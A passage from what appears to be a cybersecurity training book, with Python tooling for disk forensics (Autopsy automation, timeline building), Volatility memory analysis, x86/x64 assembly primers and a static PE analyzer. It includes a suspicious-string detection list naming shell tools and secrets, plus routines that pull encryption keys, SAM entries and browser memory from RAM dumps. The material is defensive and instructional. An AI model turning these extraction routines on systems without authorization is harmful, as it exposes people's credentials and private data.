os.path.basename(case_dir) + \".db\")\n        \n        conn = sqlite3.connect(db_path)\n        cursor = conn.cursor()\n        \n        results = []\n        \n        # Search in file names\n        for keyword in keywords:\n            cursor.execute(\"SELECT name, meta_addr FROM tsk_files WHERE name LIKE ?\", (f'%{keyword}%',))\n            for name, meta_addr in cursor.fetchall():\n                results.append({\n                    'type': 'filename',\n                    'keyword': keyword,\n                    'name': name,\n                    'inode': meta_addr\n                })\n                \n        # Save results\n        with open(output_file, 'w') as f:\n            json.dump(results, f, indent=2)\n            \n        print(f\"[+] Found {len(results)} matches\")\n        return results\n    \n    def generate_report(self, case_dir, report_format='html'):\n        \"\"\"Generate case report\"\"\"\n        \n        print(f\"[*] Generating {report_format} report\")\n        \n        db_path = os.path.join(case_dir, os.path.basename(case_dir) + \".db\")\n        \n        # Extract case statistics\n        conn = sqlite3.connect(db_path)\n        cursor = conn.cursor()\n        \n        cursor.execute(\"SELECT COUNT(*) FROM tsk_files\")\n        total_files = cursor.fetchone()[0]\n        \n        cursor.execute(\"SELECT COUNT(*) FROM tsk_files WHERE name LIKE '%.jpg' OR name LIKE '%.jpeg'\")\n        images = cursor.fetchone()[0]\n        \n        cursor.execute(\"SELECT COUNT(*) FROM tsk_files WHERE name LIKE '%.doc%'\")\n        documents = cursor.fetchone()[0]\n        \n        conn.close()\n        \n        report = {\n            'case': os.path.basename(case_dir),\n            'total_files': total_files,\n            'images': images,\n            'documents': documents,\n            'generated': datetime.datetime.now().isoformat()\n        }\n        \n        if report_format == 'json':\n            with open(os.path.join(case_dir, 'report.json'), 'w') as f:\n                json.dump(report, f, indent=2)\n        elif report_format == 'html':\n            html = f\"\"\"\n            \n            \n            \n                Forensic Case Report\n                \n                    body {{ font-family: Arial; margin: 20px; }}\n                    h1 {{ color: #333; }}\n                    .stat {{ background: #f0f0f0; padding: 10px; margin: 10px 0; }}\n                \n            \n            \n                \nForensic Case Report: {report['case']}\n                \nGenerated: {report['generated']}\n                \nTotal Files: {report['total_files']}\n                \nImages: {report['images']}\n                \nDocuments: {report['documents']}\n            \n            \n            \"\"\"\n            \n            with open(os.path.join(case_dir, 'report.html'), 'w') as f:\n                f.write(html)\n                \n        return report\n\n# Example usage\nauto = AutopsyAutomation()\n\n# Create case\ncase_dir = auto.create_case(\"INVESTIGATION-001\", \"/evidence/cases\")\n\n# Add image\n# auto.add_image(case_dir, \"/evidence/disk_images/case001.dd\")\n\n# Extract specific file types\n# auto.extract_files(case_dir, \"/evidence/extracted\", ['jpg', 'pdf', 'doc'])\n\n# Keyword search\n# auto.keyword_search(case_dir, ['password', 'confidential', 'secret'], \"/evidence/keywords.json\")\n\n# Generate report\nreport = auto.generate_report(case_dir, 'html')\nprint(json.dumps(report, indent=2))\n```\n\n#### 23.1.2 Timeline Analysis\n\n```python\n#!/usr/bin/env python3\n# timeline_analysis.py\n\nimport sqlite3\nimport datetime\nimport json\nimport csv\n\nclass TimelineAnalyzer:\n    def __init__(self, case_db):\n        self.case_db = case_db\n        self.timeline = []\n        \n    def build_timeline(self):\n        \"\"\"Build timeline from database\"\"\"\n        \n        print(\"[*] Building timeline...\")\n        \n        conn = sqlite3.connect(self.case_db)\n        cursor = conn.cursor()\n        \n        # Get file system timestamps\n        cursor.execute(\"\"\"\n            SELECT name, meta_addr, atime, mtime, ctime, crtime \n            FROM tsk_files \n            WHERE atime &gt; 0 OR mtime &gt; 0 OR ctime &gt; 0\n        \"\"\")\n        \n        for row in cursor.fetchall():\n            name, inode, atime, mtime, ctime, crtime = row\n            \n            if atime &gt; 0:\n                self.timeline.append({\n                    'timestamp': atime,\n                    'datetime': datetime.datetime.fromtimestamp(atime).isoformat(),\n                    'event': 'ACCESS',\n                    'file': name,\n                    'inode': inode\n                })\n                \n            if mtime &gt; 0:\n                self.timeline.append({\n                    'timestamp': mtime,\n                    'datetime': datetime.datetime.fromtimestamp(mtime).isoformat(),\n                    'event': 'MODIFY',\n                    'file': name,\n                    'inode': inode\n                })\n                \n            if ctime &gt; 0:\n                self.timeline.append({\n                    'timestamp': ctime,\n                    'datetime': datetime.datetime.fromtimestamp(ctime).isoformat(),\n                    'event': 'CHANGE',\n                    'file': name,\n                    'inode': inode\n                })\n                \n            if crtime &gt; 0:\n                self.timeline.append({\n                    'timestamp': crtime,\n                    'datetime': datetime.datetime.fromtimestamp(crtime).isoformat(),\n                    'event': 'CREATE',\n                    'file': name,\n                    'inode': inode\n                })\n                \n        conn.close()\n        \n        # Sort by timestamp\n        self.timeline.sort(key=lambda x: x['timestamp'])\n        \n        print(f\"[+] Timeline built with {len(self.timeline)} events\")\n        return self.timeline\n    \n    def filter_timeline(self, start_date=None, end_date=None, event_type=None):\n        \"\"\"Filter timeline by date range and event type\"\"\"\n        \n        filtered = self.timeline.copy()\n        \n        if start_date:\n            start_ts = datetime.datetime.fromisoformat(start_date).timestamp()\n            filtered = [e for e in filtered if e['timestamp'] &gt;= start_ts]\n            \n        if end_date:\n            end_ts = datetime.datetime.fromisoformat(end_date).timestamp()\n            filtered = [e for e in filtered if e['timestamp'] &lt;= end_ts]\n            \n        if event_type:\n            filtered = [e for e in filtered if e['event'] == event_type]\n            \n        return filtered\n    \n    def find_activity_near_time(self, timestamp, window_minutes=5):\n        \"\"\"Find activity near a specific time\"\"\"\n        \n        target_ts = datetime.datetime.fromisoformat(timestamp).timestamp()\n        window_seconds = window_minutes * 60\n        \n        nearby = []\n        for event in self.timeline:\n            if abs(event['timestamp'] - target_ts) &lt;= window_seconds:\n                nearby.append(event)\n                \n        return nearby\n    \n    def timeline_summary(self):\n        \"\"\"Generate timeline summary statistics\"\"\"\n        \n        summary = {\n            'total_events': len(self.timeline),\n            'first_event': self.timeline[0]['datetime'] if self.timeline else None,\n            'last_event': self.timeline[-1]['datetime'] if self.timeline else None,\n            'events_by_type': {},\n            'events_by_hour': {},\n            'busiest_hours': []\n        }\n        \n        # Count by event type\n        for event in self.timeline:\n            event_type = event['event']\n            summary['events_by_type'][event_type] = summary['events_by_type'].get(event_type, 0) + 1\n            \n            # Count by hour\n            hour = event['datetime'][11:13]  # HH\n            summary['events_by_hour'][hour] = summary['events_by_hour'].get(hour, 0) + 1\n            \n        # Find busiest hours\n        for hour, count in summary['events_by_hour'].items():\n            summary['busiest_hours'].append({'hour': hour, 'count': count})\n            \n        summary['busiest_hours'].sort(key=lambda x: x['count'], reverse=True)\n        \n        return summary\n    \n    def export_timeline(self, output_file, format='csv'):\n        \"\"\"Export timeline to file\"\"\"\n        \n        if format == 'csv':\n            with open(output_file, 'w', newline='') as f:\n                writer = csv.DictWriter(f, fieldnames=['datetime', 'event', 'file', 'inode'])\n                writer.writeheader()\n                writer.writerows(self.timeline)\n                \n        elif format == 'json':\n            with open(output_file, 'w') as f:\n                json.dump(self.timeline, f, indent=2)\n                \n        elif format == 'html':\n            html = \"\"\"\n            \n            \n            \n                Timeline Analysis\n                \n                    body { font-family: Arial; margin: 20px; }\n                    table { border-collapse: collapse; width: 100%; }\n                    th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }\n                    th { background-color: #4CAF50; color: white; }\n                    tr:nth-child(even) { background-color: #f2f2f2; }\n                    .CREATE { color: green; }\n                    .MODIFY { color: orange; }\n                    .ACCESS { color: blue; }\n                    .CHANGE { color: red; }\n                \n            \n            \n                \nForensic Timeline Analysis\n                \n\n                    \n                        Timestamp\n                        Event\n                        File\n                        Inode\n                    \n            \"\"\"\n            \n            for event in self.timeline:\n                html += f\"\"\"\n                    \n                        {event['datetime']}\n                        {event['event']}\n                        {event['file']}\n                        {event['inode']}\n                    \n                \"\"\"\n                \n            html += \"\"\"\n                \n            \n            \n            \"\"\"\n            \n            with open(output_file, 'w') as f:\n                f.write(html)\n                \n        print(f\"[+] Timeline exported to {output_file}\")\n\n# Example usage\nanalyzer = TimelineAnalyzer(\"/evidence/cases/INVESTIGATION-001/INVESTIGATION-001.db\")\n\n# Build timeline\ntimeline = analyzer.build_timeline()\n\n# Generate summary\nsummary = analyzer.timeline_summary()\nprint(json.dumps(summary, indent=2))\n\n# Filter timeline\nrecent = analyzer.filter_timeline(start_date=\"2024-01-01\")\nprint(f\"Events since 2024: {len(recent)}\")\n\n# Export timeline\nanalyzer.export_timeline(\"/evidence/timeline.html\", 'html')\n```\n\n### 23.2 Volatility\n\nVolatility is an advanced memory forensics framework for analyzing RAM dumps.\n\n#### 23.2.1 Advanced Volatility Analysis\n\n```python\n#!/usr/bin/env python3\n# volatility_advanced.py\n\nimport subprocess\nimport json\nimport re\nimport os\n\nclass VolatilityAdvanced:\n    def __init__(self, memory_file):\n        self.memory_file = memory_file\n        self.profile = None\n        \n    def detect_profile(self):\n        \"\"\"Auto-detect memory profile\"\"\"\n        \n        cmd = ['volatility', '-f', self.memory_file, 'imageinfo']\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            for line in result.stdout.split('\\n'):\n                if 'Suggested Profile(s)' in line:\n                    profiles = line.split(':')[1].strip().split(',')\n                    self.profile = profiles[0].strip()\n                    print(f\"[+] Profile: {self.profile}\")\n                    return self.profile\n        except:\n            pass\n        return None\n    \n    def run_plugin(self, plugin, args=None):\n        \"\"\"Run volatility plugin\"\"\"\n        \n        if not self.profile:\n            self.detect_profile()\n            \n        cmd = ['volatility', '-f', self.memory_file, f'--profile={self.profile}', plugin]\n        \n        if args:\n            if isinstance(args, list):\n                cmd.extend(args)\n            else:\n                cmd.extend(args.split())\n                \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except Exception as e:\n            print(f\"Error running {plugin}: {e}\")\n            return None\n    \n    def dump_processes(self, output_dir):\n        \"\"\"Dump all processes to disk\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        # Get process list\n        output = self.run_plugin('pslist')\n        \n        pids = []\n        for line in output.split('\\n')[1:]:\n            if line.strip():\n                parts = line.split()\n                if len(parts) &gt;= 3 and parts[2].isdigit():\n                    pids.append(parts[2])\n                    \n        print(f\"[*] Dumping {len(pids)} processes...\")\n        \n        for pid in pids:\n            self.run_plugin('memdump', ['--pid', pid, '-D', output_dir])\n            \n        return len(pids)\n    \n    def scan_for_malware(self, output_dir):\n        \"\"\"Comprehensive malware scan\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        results = {}\n        \n        # Check for hidden processes\n        print(\"[*] Checking for hidden processes...\")\n        results['psxview'] = self.run_plugin('psxview')\n        \n        # Check for API hooks\n        print(\"[*] Checking for API hooks...\")\n        results['apihooks'] = self.run_plugin('apihooks')\n        \n        # Check for injected code\n        print(\"[*] Checking for code injection...\")\n        results['malfind'] = self.run_plugin('malfind')\n        \n        # Check for DLL injection\n        print(\"[*] Checking for DLL injection...\")\n        results['ldrmodules'] = self.run_plugin('ldrmodules')\n        \n        # Check for driver modules\n        print(\"[*] Checking for kernel modules...\")\n        results['modules'] = self.run_plugin('modules')\n        \n        # Check for suspicious connections\n        print(\"[*] Checking network connections...\")\n        results['connections'] = self.run_plugin('connections')\n        \n        # Save results\n        with open(os.path.join(output_dir, 'malware_scan.txt'), 'w') as f:\n            for key, value in results.items():\n                f.write(f\"\\n=== {key.upper()} ===\\n\")\n                f.write(value)\n                \n        return results\n    \n    def extract_network_artifacts(self, output_dir):\n        \"\"\"Extract network-related artifacts\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        artifacts = {}\n        \n        # Network connections\n        artifacts['connections'] = self.run_plugin('connections')\n        artifacts['connscan'] = self.run_plugin('connscan')\n        artifacts['sockets'] = self.run_plugin('sockets')\n        artifacts['sockscan'] = self.run_plugin('sockscan')\n        \n        # Save to files\n        for name, data in artifacts.items():\n            with open(os.path.join(output_dir, f'{name}.txt'), 'w') as f:\n                f.write(data)\n                \n        return artifacts\n    \n    def extract_registry_hives(self, output_dir):\n        \"\"\"Extract and analyze registry hives\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        # Find registry hives\n        hivelist = self.run_plugin('hivelist')\n        \n        hives = []\n        for line in hivelist.split('\\n')[1:]:\n            if line.strip():\n                parts = line.split()\n                if len(parts) &gt;= 3:\n                    hives.append({\n                        'offset': parts[0],\n                        'name': parts[2]\n                    })\n                    \n        # Dump each hive\n        for hive in hives:\n            output_file = os.path.join(output_dir, f\"hive_{hive['name'].replace('\\\\', '_')}.reg\")\n            self.run_plugin('dumpregistry', ['-o', hive['offset'], '-D', output_dir])\n            \n        # Extract specific registry keys\n        registry_keys = [\n            'SAM\\\\Domains\\\\Account\\\\Users',\n            'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run',\n            'System\\\\CurrentControlSet\\\\Services',\n            'Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\ProfileList'\n        ]\n        \n        for key in registry_keys:\n            print(f\"[*] Extracting: {key}\")\n            output = self.run_plugin('printkey', ['-K', key])\n            if output:\n                with open(os.path.join(output_dir, f\"reg_{key.replace('\\\\', '_')}.txt\"), 'w') as f:\n                    f.write(output)\n                    \n        return hives\n    \n    def extract_browser_artifacts(self, output_dir):\n        \"\"\"Extract browser history and data\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        # Find browser processes\n        pslist = self.run_plugin('pslist')\n        \n        browsers = ['chrome.exe', 'firefox.exe', 'iexplore.exe', 'msedge.exe']\n        browser_pids = []\n        \n        for line in pslist.split('\\n'):\n            for browser in browsers:\n                if browser in line:\n                    parts = line.split()\n                    if len(parts) &gt;= 3:\n                        browser_pids.append(parts[2])\n                        \n        # Dump browser processes\n        for pid in browser_pids:\n            self.run_plugin('memdump', ['--pid', pid, '-D', output_dir])\n            \n        # Extract IE history\n        ie_history = self.run_plugin('iehistory')\n        with open(os.path.join(output_dir, 'ie_history.txt'), 'w') as f:\n            f.write(ie_history)\n            \n        return browser_pids\n    \n    def find_encryption_keys(self, output_dir):\n        \"\"\"Search for encryption keys in memory\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        # Search for common key patterns\n        patterns = {\n            'BitLocker': self.run_plugin('bitlocker'),\n            'TrueCrypt': self.run_plugin('truecrypt'),\n            'RSA': self.run_plugin('dumpcerts'),\n            'Master Keys': self.run_plugin('masterkeys')\n        }\n        \n        for name, output in patterns.items():\n            if output:\n                with open(os.path.join(output_dir, f'keys_{name}.txt'), 'w') as f:\n                    f.write(output)\n                    \n        return patterns\n    \n    def generate_comprehensive_report(self, output_dir):\n        \"\"\"Generate comprehensive forensic report\"\"\"\n        \n        print(\"[*] Generating comprehensive memory analysis report...\")\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        report = {\n            'profile': self.profile,\n            'memory_file': self.memory_file,\n            'analysis_date': datetime.datetime.now().isoformat(),\n            'sections': {}\n        }\n        \n        # Run all analysis modules\n        plugins = [\n            'pslist', 'psscan', 'pstree', 'dlllist', 'handles',\n            'cmdline', 'envars', 'consoles', 'sessions', 'wndscan',\n            'connections', 'connscan', 'sockets', 'sockscan',\n            'netscan', 'modules', 'modscan', 'driverscan',\n            'filescan', 'symlinkscan', 'mutantscan', 'timers'\n        ]\n        \n        for plugin in plugins:\n            print(f\"[*] Running {plugin}...\")\n            output = self.run_plugin(plugin)\n            \n            if output and len(output) &gt; 100:  # Only save if there's meaningful output\n                report['sections'][plugin] = {\n                    'length': len(output),\n                    'file': f\"{plugin}.txt\"\n                }\n                \n                with open(os.path.join(output_dir, f\"{plugin}.txt\"), 'w') as f:\n                    f.write(output)\n                    \n        # Save JSON report\n        with open(os.path.join(output_dir, 'report.json'), 'w') as f:\n            json.dump(report, f, indent=2)\n            \n        print(f\"[+] Report generated in {output_dir}\")\n        return report\n\n# Example usage\nvol_adv = VolatilityAdvanced('/evidence/memory.dmp')\n\n# Detect profile\nprofile = vol_adv.detect_profile()\n\nif profile:\n    # Comprehensive malware scan\n    # malware_results = vol_adv.scan_for_malware('/evidence/malware_scan')\n    \n    # Extract network artifacts\n    # network = vol_adv.extract_network_artifacts('/evidence/network')\n    \n    # Extract registry\n    # registry = vol_adv.extract_registry_hives('/evidence/registry')\n    \n    # Generate comprehensive report\n    report = vol_adv.generate_comprehensive_report('/evidence/memory_analysis')\n```\n\n---\n\n# PART X \u2014 REVERSE ENGINEERING &amp; MALWARE ANALYSIS\n\n## Chapter 24 \u2014 Reverse Engineering Basics\n\nReverse engineering is the process of analyzing software to understand its structure, functionality, and behavior. This skill is essential for malware analysis, vulnerability research, and software security assessment.\n\n### 24.1 Assembly Language\n\nUnderstanding assembly language is fundamental to reverse engineering. This section covers x86 and x64 assembly basics.\n\n#### 24.1.1 x86 Assembly Fundamentals\n\n```python\n#!/usr/bin/env python3\n# assembly_basics.py\n\nclass x86Assembly:\n    def __init__(self):\n        self.registers = {\n            'EAX': 'Accumulator - used for arithmetic, function returns',\n            'EBX': 'Base - base pointer for memory operations',\n            'ECX': 'Counter - loop counter',\n            'EDX': 'Data - I/O, arithmetic',\n            'ESI': 'Source Index - source for string operations',\n            'EDI': 'Destination Index - destination for string operations',\n            'ESP': 'Stack Pointer - points to top of stack',\n            'EBP': 'Base Pointer - points to base of current stack frame',\n            'EIP': 'Instruction Pointer - points to next instruction'\n        }\n        \n        self.instructions = {\n            'data_movement': {\n                'mov': 'mov dest, src - copy src to dest',\n                'push': 'push value - push value onto stack',\n                'pop': 'pop dest - pop value from stack into dest',\n                'lea': 'lea dest, src - load effective address',\n                'xchg': 'exchange values'\n            },\n            'arithmetic': {\n                'add': 'add dest, src - dest = dest + src',\n                'sub': 'sub dest, src - dest = dest - src',\n                'inc': 'inc dest - dest = dest + 1',\n                'dec': 'dec dest - dest = dest - 1',\n                'mul': 'unsigned multiply',\n                'imul': 'signed multiply',\n                'div': 'unsigned divide',\n                'idiv': 'signed divide',\n                'and': 'logical AND',\n                'or': 'logical OR',\n                'xor': 'logical XOR',\n                'not': 'logical NOT',\n                'neg': 'negate (two\\'s complement)'\n            },\n            'control_flow': {\n                'jmp': 'unconditional jump',\n                'je/jz': 'jump if equal / zero',\n                'jne/jnz': 'jump if not equal / not zero',\n                'jg/jnle': 'jump if greater (signed)',\n                'jl/jnge': 'jump if less (signed)',\n                'ja/jnbe': 'jump if above (unsigned)',\n                'jb/jnae': 'jump if below (unsigned)',\n                'call': 'call procedure',\n                'ret': 'return from procedure',\n                'cmp': 'compare two operands',\n                'test': 'logical compare'\n            },\n            'string': {\n                'rep': 'repeat string operation',\n                'movs': 'move string',\n                'cmps': 'compare string',\n                'scas': 'scan string',\n                'stos': 'store string',\n                'lods': 'load string'\n            }\n        }\n        \n    def show_registers(self):\n        \"\"\"Display register information\"\"\"\n        \n        print(\"\\n[+] x86 Registers:\")\n        for reg, desc in self.registers.items():\n            print(f\"  {reg}: {desc}\")\n            \n    def show_instructions(self):\n        \"\"\"Display instruction set\"\"\"\n        \n        for category, insts in self.instructions.items():\n            print(f\"\\n[+] {category.upper()}:\")\n            for mnemonic, desc in insts.items():\n                print(f\"  {mnemonic}: {desc}\")\n                \n    def explain_stack_frame(self, function_name, local_vars, params):\n        \"\"\"Explain stack frame layout\"\"\"\n        \n        print(f\"\\n[+] Stack Frame for {function_name}()\")\n        print(\"    Higher Addresses\")\n        print(\"    +-----------------+\")\n        print(\"    | Function Params | &lt;- Previous stack\")\n        for param in params:\n            print(f\"    |   {param}         |\")\n        print(\"    +-----------------+\")\n        print(\"    | Return Address  | &lt;- Where to return after function\")\n        print(\"    +-----------------+\")\n        print(\"    | Saved EBP       | &lt;- Previous frame pointer\")\n        print(\"    +-----------------+\")\n        print(\"    | Local Variables |\")\n        for var in local_vars:\n            print(f\"    |   {var}          |\")\n        print(\"    +-----------------+\")\n        print(\"    |   ...           |\")\n        print(\"    |   Buffer        | &lt;- Overflow point\")\n        print(\"    +-----------------+\")\n        print(\"    Lower Addresses\")\n        \n    def function_prologue(self):\n        \"\"\"Show function prologue\"\"\"\n        \n        print(\"\\n[+] Function Prologue:\")\n        print(\"    push ebp           ; Save old base pointer\")\n        print(\"    mov ebp, esp       ; Set new base pointer\")\n        print(\"    sub esp, X         ; Allocate space for local variables\")\n        \n    def function_epilogue(self):\n        \"\"\"Show function epilogue\"\"\"\n        \n        print(\"\\n[+] Function Epilogue:\")\n        print(\"    mov esp, ebp       ; Restore stack pointer\")\n        print(\"    pop ebp            ; Restore base pointer\")\n        print(\"    ret                ; Return to caller\")\n        \n    def common_patterns(self):\n        \"\"\"Show common assembly patterns\"\"\"\n        \n        patterns = {\n            'if_statement': \"\"\"\n                cmp eax, ebx     ; Compare values\n                jne else_label   ; Jump if not equal\n                ; then block\n                jmp end_label\n            else_label:\n                ; else block\n            end_label:\n            \"\"\",\n            \n            'loop': \"\"\"\n                mov ecx, 10      ; Set counter\n            loop_start:\n                ; loop body\n                loop loop_start  ; Decrement ecx and loop if not zero\n            \"\"\",\n            \n            'function_call': \"\"\"\n                push param3      ; Push parameters (right to left)\n                push param2\n                push param1\n                call function    ; Call function\n                add esp, 12      ; Clean up stack (3 params * 4 bytes)\n            \"\"\",\n            \n            'switch_statement': \"\"\"\n                mov eax, [value] ; Load value\n                jmp [jump_table + eax*4] ; Jump to computed address\n            jump_table:\n                dd case0, case1, case2, default_case\n            \"\"\"\n        }\n        \n        for name, pattern in patterns.items():\n            print(f\"\\n[+] {name.upper()}:{pattern}\")\n\n# Example usage\nasm = x86Assembly()\nasm.show_registers()\nasm.show_instructions()\nasm.explain_stack_frame(\"vulnerable_func\", [\"buffer[64]\", \"counter\"], [\"arg1\", \"arg2\"])\nasm.function_prologue()\nasm.function_epilogue()\nasm.common_patterns()\n```\n\n#### 24.1.2 x64 Assembly and Differences\n\n```python\n#!/usr/bin/env python3\n# x64_assembly.py\n\nclass x64Assembly:\n    def __init__(self):\n        self.registers = {\n            'RAX': '64-bit accumulator',\n            'RBX': '64-bit base',\n            'RCX': '64-bit counter',\n            'RDX': '64-bit data',\n            'RSI': '64-bit source index',\n            'RDI': '64-bit destination index',\n            'RBP': '64-bit base pointer',\n            'RSP': '64-bit stack pointer',\n            'RIP': '64-bit instruction pointer',\n            'R8-R15': 'Additional general purpose registers'\n        }\n        \n    def compare_with_x86(self):\n        \"\"\"Compare x86 and x64 differences\"\"\"\n        \n        print(\"\\n[+] x86 vs x64 Differences:\")\n        \n        differences = {\n            'Register size': '32-bit vs 64-bit',\n            'More registers': 'x64 has 8 additional registers (R8-R15)',\n            'Calling convention': 'Windows x64 uses fastcall, System V AMD64 ABI on Linux',\n            'Parameter passing': 'First 4 parameters in registers (RCX, RDX, R8, R9 on Windows)',\n            'Stack alignment': '16-byte stack alignment required',\n            'Address space': 'Larger address space allows position-independent code',\n            'RIP-relative addressing': 'Can access data relative to instruction pointer'\n        }\n        \n        for item, diff in differences.items():\n            print(f\"  {item}: {diff}\")\n            \n    def windows_calling_convention(self):\n        \"\"\"Explain Windows x64 calling convention\"\"\"\n        \n        print(\"\\n[+] Windows x64 Calling Convention (fastcall):\")\n        print(\"    Parameters:\")\n        print(\"      RCX - first parameter\")\n        print(\"      RDX - second parameter\")\n        print(\"      R8  - third parameter\")\n        print(\"      R9  - fourth parameter\")\n        print(\"    Additional parameters passed on stack\")\n        print(\"    Caller must allocate 32 bytes of shadow space\")\n        print(\"    RAX handles return value\")\n        print(\"    Must preserve: RBX, RBP, RDI, RSI, RSP, R12-R15\")\n        \n    def linux_calling_convention(self):\n        \"\"\"Explain Linux x64 calling convention (System V AMD64 ABI)\"\"\"\n        \n        print(\"\\n[+] Linux x64 Calling Convention (System V AMD64 ABI):\")\n        print(\"    Parameters:\")\n        print(\"      RDI - first parameter\")\n        print(\"      RSI - second parameter\")\n        print(\"      RDX - third parameter\")\n        print(\"      RCX - fourth parameter\")\n        print(\"      R8  - fifth parameter\")\n        print(\"      R9  - sixth parameter\")\n        print(\"    Additional parameters passed on stack\")\n        print(\"    RAX handles return value\")\n        print(\"    Must preserve: RBX, RBP, RSP, R12-R15\")\n        \n    def example_function(self):\n        \"\"\"Show example x64 function\"\"\"\n        \n        print(\"\\n[+] Example x64 Function:\")\n        print(\"\"\"\n        ; int add_five_numbers(int a, int b, int c, int d, int e)\n        add_five_numbers:\n            ; Windows x64\n            ; a in RCX, b in RDX, c in R8, d in R9, e on stack\n            mov     eax, ecx        ; a\n            add     eax, edx        ; + b\n            add     eax, r8d        ; + c\n            add     eax, r9d        ; + d\n            add     eax, [rsp+40]   ; + e (skip return address + shadow space)\n            ret\n        \"\"\")\n\n# Example usage\nx64 = x64Assembly()\nx64.compare_with_x86()\nx64.windows_calling_convention()\nx64.linux_calling_convention()\nx64.example_function()\n```\n\n### 24.2 Static Analysis\n\nStatic analysis examines program code without executing it, using disassemblers and decompilers.\n\n#### 24.2.1 Static Analysis Techniques\n\n```python\n#!/usr/bin/env python3\n# static_analysis.py\n\nimport pefile\nimport os\nimport hashlib\nimport struct\n\nclass StaticAnalyzer:\n    def __init__(self, filepath):\n        self.filepath = filepath\n        self.pe = None\n        self.strings = []\n        \n    def calculate_hashes(self):\n        \"\"\"Calculate file hashes\"\"\"\n        \n        hashes = {}\n        \n        with open(self.filepath, 'rb') as f:\n            data = f.read()\n            \n        hashes['md5'] = hashlib.md5(data).hexdigest()\n        hashes['sha1'] = hashlib.sha1(data).hexdigest()\n        hashes['sha256'] = hashlib.sha256(data).hexdigest()\n        \n        return hashes\n    \n    def get_file_info(self):\n        \"\"\"Get basic file information\"\"\"\n        \n        info = {\n            'filename': os.path.basename(self.filepath),\n            'size': os.path.getsize(self.filepath),\n            'hashes': self.calculate_hashes()\n        }\n        \n        # Check file type\n        import magic\n        info['file_type'] = magic.from_file(self.filepath)\n        info['mime_type'] = magic.from_file(self.filepath, mime=True)\n        \n        return info\n    \n    def extract_strings(self, min_length=4):\n        \"\"\"Extract ASCII and Unicode strings from file\"\"\"\n        \n        strings = []\n        \n        with open(self.filepath, 'rb') as f:\n            data = f.read()\n            \n        # ASCII strings\n        current = b''\n        for byte in data:\n            if 32 &lt;= byte &lt;= 126:  # Printable ASCII\n                current += bytes([byte])\n            else:\n                if len(current) &gt;= min_length:\n                    strings.append(('ascii', current.decode('ascii')))\n                current = b''\n                \n        # Unicode strings (UTF-16LE)\n        current = b''\n        for i in range(0, len(data)-1, 2):\n            if data[i+1] == 0 and 32 &lt;= data[i] &lt;= 126:\n                current += bytes([data[i]])\n            else:\n                if len(current) &gt;= min_length:\n                    strings.append(('unicode', current.decode('ascii')))\n                current = b''\n                \n        self.strings = strings\n        return strings\n    \n    def find_interesting_strings(self):\n        \"\"\"Find potentially interesting strings\"\"\"\n        \n        interesting = []\n        \n        patterns = [\n            'http://', 'https://', 'ftp://', 'www.',\n            '.exe', '.dll', '.sys', '.drv',\n            'MZ', 'PE', 'This program',\n            'cmd.exe', 'powershell', 'wscript',\n            'CreateFile', 'WriteFile', 'ReadFile',\n            'RegOpenKey', 'RegSetValue',\n            'GetProcAddress', 'LoadLibrary',\n            'socket', 'connect', 'send', 'recv',\n            'password', 'secret', 'key', 'token',\n            'encrypt', 'decrypt', 'crypto',\n            'mutex', 'service', 'inject'\n        ]\n        \n        for str_type, string in self.strings:\n            for pattern in patterns:\n                if pattern in string.lower():\n                    interesting.append({\n                        'type': str_type,\n                        'string': string,\n                        'pattern': pattern\n                    })\n                    break\n                    \n        return interesting\n    \n    def analyze_pe(self):\n        \"\"\"Analyze PE file structure\"\"\"\n        \n        try:\n            self.pe = pefile.PE(self.filepath)\n            \n            pe_info = {\n                'machine': hex(self.pe.FILE_HEADER.Machine),\n                'timestamp': self.pe.FILE_HEADER.TimeDateStamp,\n                'characteristics': hex(self.pe.FILE_HEADER.Characteristics),\n                'optional_header': {},\n                'sections': [],\n                'imports': [],\n                'exports': []\n            }\n            \n            # Optional header\n            oh = self.pe.OPTIONAL_HEADER\n            pe_info['optional_header'] = {\n                'magic': hex(oh.Magic),\n                'address_of_entry_point': hex(oh.AddressOfEntryPoint),\n                'image_base': hex(oh.ImageBase),\n                'section_alignment': hex(oh.SectionAlignment),\n                'file_alignment': hex(oh.FileAlignment),\n                'size_of_image': hex(oh.SizeOfImage),\n                'size_of_headers': hex(oh.SizeOfHeaders),\n                'subsystem': oh.Subsystem,\n                'dll_characteristics': hex(oh.DllCharacteristics)\n            }\n            \n            # Sections\n            for section in self.pe.sections:\n                pe_info['sections'].append({\n                    'name': section.Name.decode('utf-8').rstrip('\\x00'),\n                    'virtual_address': hex(section.VirtualAddress),\n                    'virtual_size': hex(section.Misc_VirtualSize),\n                    'size_of_raw_data': hex(section.SizeOfRawData),\n                    'characteristics': hex(section.Characteristics),\n                    'entropy': section.get_entropy()\n                })\n                \n            # Imports\n            if hasattr(self.pe, 'DIRECTORY_ENTRY_IMPORT'):\n                for entry in self.pe.DIRECTORY_ENTRY_IMPORT:\n                    dll_name = entry.dll.decode('utf-8')\n                    imports = []\n                    for imp in entry.imports:\n                        if imp.name:\n                            imports.append(imp.name.decode('utf-8'))\n                    pe_info['imports'].append({\n                        'dll': dll_name,\n                        'functions': imports\n                    })\n                    \n            # Exports\n            if hasattr(self.pe, 'DIRECTORY_ENTRY_EXPORT'):\n                for exp in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:\n                    pe_info['exports'].append(exp.name.decode('utf-8') if exp.name else f\"ordinal_{exp.ordinal}\")\n                    \n            return pe_info\n            \n        except Exception as e:\n            print(f\"[-] PE analysis failed: {e}\")\n            return None\n    \n    def detect_packers(self):\n        \"\"\"Detect if file is packed/obfuscated\"\"\"\n        \n        indicators = []\n        \n        if not self.pe:\n            return indicators\n            \n        # High entropy in sections\n        for section in self.pe.sections:\n            entropy = section.get_entropy()\n            if entropy &gt; 7.0:\n                indicators.append(f\"High entropy in 